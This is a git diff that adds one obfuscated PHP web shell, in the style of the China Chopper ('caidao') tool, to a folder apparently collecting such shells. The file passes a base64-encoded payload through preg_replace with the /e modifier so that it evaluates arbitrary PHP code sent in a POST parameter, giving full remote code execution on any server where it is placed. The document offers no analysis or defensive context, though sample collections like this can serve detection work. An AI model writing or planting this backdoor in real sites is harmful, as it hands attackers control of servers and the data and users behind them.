diff --git a/caidao-shell/w_2016-05-25.php b/caidao-shell/w_2016-05-25.php
new file mode 100644
index 0000000..c85b8b7
--- /dev/null
+++ b/caidao-shell/w_2016-05-25.php
@@ -0,0 +1,6 @@
+<?php 
+@$a = $_POST['x']; 
+if(isset($a)){ 
+@preg_replace("/\[(.*)\]/e",'\\1',base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10=')); 
+} 
+?>